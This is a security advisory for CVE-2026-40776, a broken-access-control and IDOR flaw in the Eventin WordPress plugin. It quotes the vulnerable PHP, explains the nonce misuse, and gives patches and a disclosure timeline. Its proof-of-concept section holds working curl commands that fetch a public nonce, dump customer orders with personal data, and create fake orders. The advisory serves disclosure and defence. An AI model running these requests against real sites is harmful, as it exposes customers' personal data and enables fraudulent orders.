# Security Advisory — CVE-2026-40776 **Eventin (`wp-event-solution`) — Broken Access Control + IDOR via public `wp_rest` nonce endpoint.** ## Identifiers | Field | Value | |---|---| | CVE | CVE-2026-40776 | | Patchstack PSID | `85de025d71e7` | | CWE | [CWE-862 — Missing Authorization](https://cwe.mitre.org/data/definitions/862.html) | | CVSS v3.1 | **7.5 (HIGH)** — per the Patchstack advisory | ## Affected product | Field | Value | |---|---| | Plugin | Eventin — Events Calendar, Event Booking, Ticket & Registration | | Slug | `wp-event-solution` | | Vendor | Themewinter | | Ecosystem | WordPress (PHP) | | Affected versions | `<= 4.1.8` | | Patched version | `4.1.9` | | Active installs | 10,000+ | | Tested against | WordPress 6.7 + Eventin 4.1.7 (default configuration) | ## Summary The Eventin plugin exposes a public REST API endpoint (`/wp-json/eventin/v1/nonce`) that returns a valid `wp_rest` nonce to any unauthenticated visitor. Multiple downstream REST controllers (`OrderController`, `PaymentController`) then use that nonce as the only authorization check, without verifying user roles or capabilities. Combined with a missing ownership check on order reads (IDOR) and a fully open seat-booking endpoint, this allows any unauthenticated attacker to: - read every event order, including full customer PII (names, emails, phone numbers, payment methods, attendees roster), - create arbitrary orders with attacker-controlled data, - interact with the payment endpoints, - exhaust seat-based events by reserving every available seat. The root mistake is **conflating CSRF protection (a `wp_rest` nonce) with authentication**: WordPress nonces are bound to a session and an action, not to a user identity, and once a public endpoint hands them out they cease to provide any access control whatsoever. ## Technical details ### 1. Public nonce dispenser — root cause `core/Admin/hooks.php`, lines 68–77: ```php add_action( 'rest_api_init', function () { register_rest_route( 'eventin/v1', '/nonce', [ 'methods' => \WP_REST_Server::READABLE, 'permission_callback' => '__return_true', 'callback' => function () { nocache_headers(); return rest_ensure_response( [ 'nonce' => wp_create_nonce( 'wp_rest' ) ] ); }, ] ); } ); ``` `permission_callback => '__return_true'` allows the route to be called by any unauthenticated visitor; the callback returns a freshly generated `wp_rest` nonce. The intent is plausible (frontend forms need a nonce) but the implementation publishes that nonce to the entire internet — and the rest of the plugin treats that nonce as identity. ### 2. Permission callbacks that misuse the nonce as authorization **`core/Order/OrderController.php`, lines 146–148** — short-circuiting `||`: ```php public function get_item_permissions_check( $request ) { return current_user_can( 'etn_manage_event' ) || wp_verify_nonce( $request->get_header( 'X-Wp-Nonce' ), 'wp_rest' ); } ``` Because the nonce branch is on the right of an `||`, it is **always satisfiable** by any unauthenticated attacker carrying the publicly-fetched nonce. The capability check on the left becomes irrelevant. **`core/Order/OrderController.php`, lines 476–478** — no capability check at all: ```php public function create_item_permissions_check( $request ) { return wp_verify_nonce( $request->get_header( 'X-Wp-Nonce' ), 'wp_rest' ); } ``` **`core/Order/PaymentController.php`, lines 66–70** — same pattern on payments: ```php public function create_payment_permission_check($request) { $nonce = $request->get_header('X-WP-Nonce'); return wp_verify_nonce($nonce, 'wp_rest'); } ``` ### 3. IDOR on `get_item` — no ownership check `core/Order/OrderController.php`, lines 310–317: ```php public function get_item( $request ) { $id = intval( $request['id'] ); $order = new OrderModel( $id ); $response = $this->prepare_item_for_response( $order, $request ); return rest_ensure_response( $response ); } ``` Order IDs are sequential WordPress post IDs (`wp_posts.ID`), so an attacker who can reach this endpoint at all can dump every order with `/orders/1`, `/orders/2`, … No check that the requesting user is associated with the requested order. ### 4. Fully open seat-booking endpoint `core/Order/OrderController.php`, lines 129–137: ```php register_rest_route( $this->namespace, $this->rest_base.'/book-seats', [ [ 'methods' => WP_REST_Server::CREATABLE, 'callback' => [$this, 'book_seats'], 'permission_callback' => function( $request ) { return true; }, ], ] ); ``` No nonce, no capability check — just `return true`. Any unauthenticated attacker can reserve every available seat on a seat-based event, denying legitimate ticket buyers (denial-of-service against bookings). ### 5. Data exposed per order `prepare_item_for_response` (lines 787–812) serializes, per order: - `customer_fname`, `customer_lname` — full name - `customer_email` — email address - `customer_phone` — phone number - `payment_method` — payment method used (e.g. `stripe`) - `total_price` — amount paid - `status` — order status (e.g. `completed`) - `event_name`, `event_id`, `date_time` - `attendees[]` — full attendee list with names, emails, phones, ticket IDs ## Proof of concept End-to-end, four unauthenticated requests against a target running Eventin `<= 4.1.8`: ```bash # 1. Get a wp_rest nonce as an unauthenticated visitor NONCE=$(curl -s https://TARGET/wp-json/eventin/v1/nonce | jq -r .nonce) # 2. Read any order by sequential ID — IDOR + auth bypass curl -s -H "X-Wp-Nonce: $NONCE" https://TARGET/wp-json/eventin/v2/orders/21 | jq . # 3. Confirm the nonce is the only auth layer: same request without the header → 401 curl -s https://TARGET/wp-json/eventin/v2/orders/21 | jq . # 4. Create a fake order with attacker-controlled data curl -s -X POST \ -H "X-Wp-Nonce: $NONCE" \ -H "Content-Type: application/json" \ -d '{"event_id":1,"customer_fname":"Attacker","customer_email":"a@evil.com","tickets":[{"ticket_slug":"general","quantity":1}],"attendees":[{"name":"Attacker","email":"a@evil.com","ticket_slug":"general"}]}' \ https://TARGET/wp-json/eventin/v2/orders | jq . ``` Step 3 is the diagnostic moment: it returns `{"code":"rest_forbidden","data":{"status":401}}`, confirming that the nonce alone — the one any visitor can fetch in step 1 — is what the controller is treating as authentication. A reproducible bash script against a local WordPress lab is at [`poc/poc-eventin.sh`](poc/poc-eventin.sh). Visual evidence from the local lab: - [`screenshots/poc1-idor-pii-leak.png`](screenshots/poc1-idor-pii-leak.png) — IDOR read of order #21 with full PII (synthetic data: "Mario Rossi"). - [`screenshots/poc2-no-nonce-blocked.png`](screenshots/poc2-no-nonce-blocked.png) — same request without the `X-Wp-Nonce` header → `401 rest_forbidden`. - [`screenshots/poc3-fake-order-created.png`](screenshots/poc3-fake-order-created.png) — unauthenticated `POST` creating a fake order with attacker-controlled fields. ## Impact An unauthenticated remote attacker can: 1. **Read all event orders with full PII.** Sequential ID enumeration combined with the publicly-obtained nonce dumps every customer's name, email, phone number, payment method, amount paid, and the entire attendees roster. Material personal-data breach for any site using Eventin for paid or registered events. 2. **Create fake orders and attendees.** Inject fraudulent orders into the system, pollute event management, generate fake attendee records. 3. **Interact with payment endpoints.** `PaymentController` uses the same nonce-only auth pattern; payment creation/completion is reachable unauthenticated. 4. **Deny service against seat-based events.** `/book-seats` accepts unauthenticated calls and can be used to reserve every available seat. ## Mitigation - **For site operators:** update `wp-event-solution` to `4.1.9` or later. There is no in-version workaround for older releases short of disabling the plugin or blocking the affected REST routes at the web-server / WAF layer (`/wp-json/eventin/v1/nonce`, `/wp-json/eventin/v2/orders*`, `/wp-json/eventin/v2/payments`, `/wp-json/eventin/v2/orders/book-seats`). - **For plugin authors:** if a nonce is required for frontend forms, embed it via `wp_localize_script()` in the page HTML that the user has already loaded — not as a public REST endpoint. Permission callbacks must verify identity and capability with `current_user_can( ... )` (or an ownership check on the resource being read), composed with `&&`, never with `||`. CSRF protection and authorization are orthogonal concerns; a nonce can answer the first, but never the second. A correct shape for the three vulnerable callbacks looks like: ```php // OrderController::get_item_permissions_check public function get_item_permissions_check( $request ) { return current_user_can( 'etn_manage_event' ); // Or: ownership check on the requested order ID for frontend reads. } // OrderController::create_item_permissions_check public function create_item_permissions_check( $request ) { return current_user_can( 'etn_manage_order' ); // Or: explicit, separately-rate-limited public booking flow if intentional. } // PaymentController::create_payment_permission_check public function create_payment_permission_check( $request ) { return current_user_can( 'etn_manage_order' ); } ``` ## Disclosure timeline | Date | Event | |---|---| | 2026-03-10 | Reported to Patchstack | | 2026-04-07 | Vendor releases Eventin 4.1.9 (fix) | | 2026-04-13 | Coordination milestone (Patchstack) | | 2026-04-29 | Public disclosure (Patchstack advisory) | | 2026-05-01 | Third-party trackers pick it up (WP-Firewall, Managed-WP, SolidWP) | | 2026-05-04 | This advisory and accompanying repository published | ## References - Full writeup (canonical): - Patchstack advisory: - Plugin on wordpress.org: - CWE-862 — Missing Authorization: ## Credits Reported by **Lorenzo Fradeani** — independent security research. Coordinated through [Patchstack](https://patchstack.com).